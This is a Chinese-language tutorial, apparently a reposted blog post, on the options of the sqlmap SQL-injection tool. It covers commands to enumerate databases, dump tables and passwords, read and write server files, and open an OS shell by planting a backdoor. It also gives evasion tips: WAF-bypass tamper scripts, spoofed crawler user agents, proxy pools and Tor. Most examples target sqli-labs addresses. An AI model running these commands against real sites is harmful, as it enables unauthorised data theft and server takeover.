sqlmap的使用详细介绍

admin 2023年3月12日20:32:55sqlmap的使用详细介绍已关闭评论64 views字数 7319阅读24分23秒阅读模式

使用方法及介绍

sqlmap.py -v 查看版本

sqlmap.py --update 更新sqlmap,建议在官网下载最新版

基本的参数

```
sqlmap.py -h 查看帮助
--is-dba 当前用户权限
//可以先直接不带参数跑,然后看权限user,ture还是false,或者看--is-dba的是否为管理员权限,才能进行下一步
--dbs所有数据库
--current-db查询网站当前数据库,看当前网站连接的数据库
也可以有--current-users查看当前用户连接的数据库的用户名称
当权限很大,可以直接--users或者--password来枚举用户名和密码
--current-user当前数据库用户
tables 参数:列表名
columns 参数:列字段
dump参数:下载数据

--form 自动加载表单

```

对于一些选择y还是n可以回车来默认是y

当有了数据库,就要列表名

```
sqlmap.py -u xxx.com --tables -D 数据库名字
更加详细的就是在后面加--count
这样可以看表的内容的个数
sqlmap.py -u xxx.com --tables -D 数据库名字 --count

```

来查看表名

然后根据表来确定列,再字段

sqlmap.py -u xxx.com --column -T 表名 -D 数据库名字
-T是指定表名
然后就跑字段
--dump -C 字段,字段 -T 表名 -D 数据库名字
看列的指定字段

--dump的用法,获取表中的数据,包含列

--dump-all 转存dbms数据库所有的表项目

--level 测试等级,默认1,emmm,多了会记录ua,我们可以进行设置百度ua,这样可以减少一些不必要的麻烦

```
百度移动 UA
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B1
```

当过waf防护时,尽量少一些语句,在我们已知数据库为mysql等时,可以使用

--dbms=mysql

还有一些参数

如果不是管理员,就无法执行这些参数的条件
--roles 列出数据库管理员角色
--privileges 列出数据库管理员权限

还有一些简单的直接列出所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

列出数据库系统的架构

-schema --batch --exculde-sysdbs
-schema 列系统数据库架构的
--batch 默认选择
--exculde-sysdbs排除系统数据库
唉,这个可以用wl,看,其实可以不这样

探测等级

级别为2 会测cookie

3 测一些http user-agent/refer头

在不确定时,可以使用最大

当在测试cookie或者ua时,可欺骗,两种方法

1

参数加

--referer 欺骗referer头

其他同理

2

就是在option.py里改,这样就不用1那么麻烦,每次都得输入参数,emmmm

显示调试信息

-v 有七个级别

0、只显示 python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示 debug信息。
3、同时显示注入的 payload

4、同时显示HTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

风险等级

--risk

共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

测试多个url

sqlmap.py -m 路径 --baech
//以txt的文本
并且默认y一梭子

输出文件除了命令窗口的显示,还有在c盘的用户的.sqlmap里还有详细的

获取http请求注入

-r

对请求进行抓包,然后保存文件,进行注入测试

一般存在post

搜索注入

http头注入

登陆后的注入(cookie

谷歌搜索

-g "inurl:php?id="

前提得FQ

没必要,个人认为

--date

get参数一样检查post参数

例如登录时

--date "username=123&password=123"

其实是

username=123;password=123

需要

-date "username=123;password=123" --param-del=';'

其实这个名字和密码名是看数据库的查询得来的,自由可变根据情况

当在数据中看或者url栏看发现不是&连接用户和密码,而是;等

就得用

--param-del=';'

--cookie

当出现违规时,出现了弹窗,但服务器还得接受cookie的传输

登录之后的页面

可以获取cookie,然后跑,还得加--level 2,因为2是获取cookie注入

--cookie "值"

这样就可以访问登录后的页面了

然后注入

各种头

--referer

伪造http的re,当level 大于等于3

就可以尝试

--header

增加额外的http头

--header "cilent-ip:1.1.1.1'" --level 3
emmmm,我感觉没必要
可以抓包来
还可以用modify

--proxy

使用代理格式为

http://url:port

指定代理,然后让代理转发

找个代理池,自动变化ip起飞

时间控制

--delay

设置两个数据的间隔时间,默认为0,单位秒

通过这样设置,可以不会被认为是hoping,然后可以进行注入扫描

--timeout

默认30秒,超时会会重新连接

--retires

超时后,设置重连的次数

默认3次

指定参数

-p

-p "id,xh"

因为默认会是是全部的

--prefix,--suffix

注入pyload的前面或后面加一些字符,保证pyload正常运行

例子('1')

"')'" --suffix "AND ('and'='abc"

然后就变成了

('1')<pyload> AND ('abc'='abc')

--technique

指定注入方式

默认所有

布尔注入

报错注入

联合查询注入

多语句查询注入

时间延迟注入

--tech=UE --batch
用联合查询、报错型注入查询来看

--union-cols

ps:以前的一个错误,现在才明白,在union select 的时候,尽量使用null,不要使用1,2等,因为一些数据库不支持

会测试1到10个字段,当level为5,会增加到50

设定--union-cols:num1-num2,是测试num1-num2个字段数。

二阶注入

就是页面不在同一个,简单的说

--second-order “指定回显url”

--dump-all,--exclude-sysdbs

--dump-all获取所有数据库表的内容

--exclude-sysdbs只获取用户数据库的表

但碰到microsoft sql server 中的master数据库是一个系统数据库,所以尽量不要用--excluse-sysdbs

--search,-C,-D,-T

--search寻找指定的数据库名、特定表名、特定字段

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名

在很多表的情况下,可以使用

--search -C "列名" -D 数据库名

-s,-t

-s

sqlmap对每一个目标都会在 outputi路径下自动生成一个 Sqlite文件,如
果用户想指定读取的文件路径,就可以用这个参数
存HTTP(S)日志

-t

这个参数需要跟一个文本文件, sqlmap会把HTP(S)请求与响应的日志
保存到那里。

--batch

默认执行

--charset

不适用sqlmap自动识别,使用指定的

--charset=GBK

--flush-session

清除之前的session,重新测试目标

--hex

在有一些字符编码问题,可能导致数据丢失,可以使用hex函数避免丢失

--output-dir

指定文件保存的路径,默认在output下,可以设置

--parse-errors

显示错误信息

--smart

对类似参数-m 文件路径

多个url进行时,会更加节省时间

--mobile

这个很重要,在手机抓包时,233333

仅移动端当问,设置一个收集的ua来模仿手机登录

检测waf

--identify-waf

找出waf、ips、 ids保护

方便以后绕过

--check-waf

先检测,看有无

手动and 1=1

2333

暴力破解表名

--common-tables

-tables无法获取表时,使用此参数

Mysql < 5.0没有information_schema库
Mysql >= 5.0 ,但无权访问information_schema库
微软的access数据库,默认无权读取MSysObjects
这种情况就要暴力破解

破解表在txt文件夹中,自己也可以加

–common-tables

xxxx --common-tables -D 数据库名


暴力破解当前数据库的有哪些表

–common-columns


暴力破解指定表有哪些列。不指定为当前表。

xxxx.com --columns -T 表 -D 数据库

一般用在

时间时间盲注
延迟注入
access数据库
mysql 5.0一下
需要加载跑,因为access、mysql5.0一下只能一个一个跑

post登录框注入

-r 请求包路径 -p 指定注入的名
--forms
--data “name=1&pass=1”

搜索框注入

-r 抓包文件

伪静态

*指定跑,告诉sqlmap在哪注入

延迟注入

--time-sec

默认5秒

也可以--time-sec=秒

自己搞

最后才会选的注入方法,因为太慢

base64注入

需要在tamper中选择base64encode.py 进行继续操作

--tamper base64encode.py -dbs

请求时间延迟

--delay

执行sql语句

单条执行

--sql-query “select version\<>”

多条执行

--sql-shell

select version<>; 版本
select user<>; 查看用户
select @@basedir 看当前数据库的路径
执行查询select
但可以读取文件,用load_file
select load_file<'文件绝对路径'>;
不能select "11111" into outfile 'c:/1.txt';
这样不行,不能写

文件读取

--file-read "文件绝对路径",用/表示,不用win下的\

文件上传

--file-write

--file-dest

--file-write="本地的文件绝对路径" --file-dest="目标文件的绝对路径"

命令执行

--os-shell

默认php脚本

然后路径有四种

默认的几个路径   common location
自定义路径   custom location
加载目录列表爆破 custom directory list file  
暴力搜索 brute force search

看情况选择

然后会上传两个文件

一个后门

一个执行命令的

数据导出

--dump

设置http

某些具体情况下,需要强制使用具体的HTTP请求方法

PUT请求方法,HTTP PUT请求方法不会自动使用,因此需要我们强制指定。使用–method=PUT

设置Cookie头

--cookie
--cookie-del
--load-cookies
--drop-set-cookie

在登陆后获取cookie,绕过登录验证,减少麻烦

利用sqlmap使用cookie

--cookie "   "   --banner

如果在通信过程中,web应用程序使用Set-Cookie标头进行响应,sqlmap将在所有进一步的HTTP请求中自动使用其值作为Cookie标头。Sqlmap还将SQL注入自动测试这些值。这可以通过--drop-set-cookie-sqlmap,将忽略任何即将到来的Set-Cookie头来避免

反之亦然,如果您提供了一个带有选项的HTTP Cookie报头 --Cookie 和目标URL在任何时候发送一个HTTP set-Cookie报头,sqlmap将要询问您要为以下HTTP使用哪组Cookie。

Load-cookie,可以用来提供包含Netscape/wget格式的Cookie的特殊文件

注意:如果需要HTTP Cookie值进行SQL注入探测,需要设置 –leve 2以上

自动切换ua

通过--random-agent,sqlmap将从 ./txt/user-agents中随机选择一个用于会话中的所有HTTP请求,一些站点在服务端检测HTTP User-Agent值,如果不是一个合法分值,就会中断连接。同时sqlmap也会爆出错误。

注意:针对User-Agent的值探测SQL注入,需要设置--level值为3

隐藏网络的tor

这个在kali下

apt-get install tor

开启tor服务:service tor start

查看tor状态:service tor status

设置Tor网络的参数:--tor, --tor-port, --tor-type, --check-tor

重试次数

--retries count 设置对应重试次数,默认情况下重试3次

设置忽略URL编码

根据参数的位置(例如GET),默认情况下它的值是可以URL编码的

在某些情况下,需要以原始非编码形式发送值。这种情况下就要设置忽略URL编码

–skip-urlencode 不进行URL加密

其他的一些解释

一、tamper脚本
很多站点有waf或者过滤,只要在sqlmap 注入语句后加入小小的一个--tamper +脚本文件,就可以绕过很多waf了。脚本文件sqlmap中有自带的,你也可以网上找加到文件中。
二、force--ssl
就是注入https网站的时候会有ssl无法连接的提示,加上这句话就可以了。
三、flush-session
sqlmap扫描的时候会将缓存的数据记录到output文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加--flush-session选项。

Sqlmap直连数据库

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL、Oracle、SQL Server、PostgreSQL)

sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --banner
-f, --fingerprint   指纹,执行检查广泛的DBMS版本指纹
查看目标系统信息:--banner

还有就是对网站使用--banner,其实默认也有...

文件读取目标

SQLMAP支持从不同类型的文件中读取目标进行SQL注入探测。

  • -l 从Burpsuite proxy或WebScarab proxy中读取HTTP请求日志文件
  • -x 从sitemap.xml站点地图文件中读取目标探测地图中URL
  • -m 从多行文本格式文件读取多个目标,对多个目标进行探测
  • -r 从文本文件中读取HTTP请求作为SQL注入探测的目标
  • -c 从配置文件sqlmap.conf中读取目标探测
    还有就是使用本地代理,访问ip和指定端口,然后
    Project options”勾选“Proxy
    然后选择输出文件名字

sqlmap.py -l 文件名

进行检测

POST提交参数

一般是提交表单的时候

默认情况下,用于执行HTTP请求的HTTP方法是GET

可以通过提供在POST请求中发送的数据隐式地将其更改为POST

sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

–data=“id=1” 注入参数的检测,隐式的将GET方法转换为POST方法。其中,-f 表示fingerprint指纹信息,–banner --dbs --users 用于获取数据库、用户等信息

也可以用bp把对应的拦截网址的用户名、密码用data进行表括

sqlmap.py -u "http://192.168.1.100/sqli/Less-11/index.php" --data="uname=admin&passwd=admin&submit=submit" -f --banner --dbs --users

首先返回存在SQL注入的信息

返回对应的指纹信息

输出指定返回的数据库信息、用户信息

设置参数分隔符

sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

在data中一般都是&,但也有;的,所以用到分隔符来进行处理说明

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:32:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqlmap的使用详细介绍http://cn-sec.com/archives/1599499.html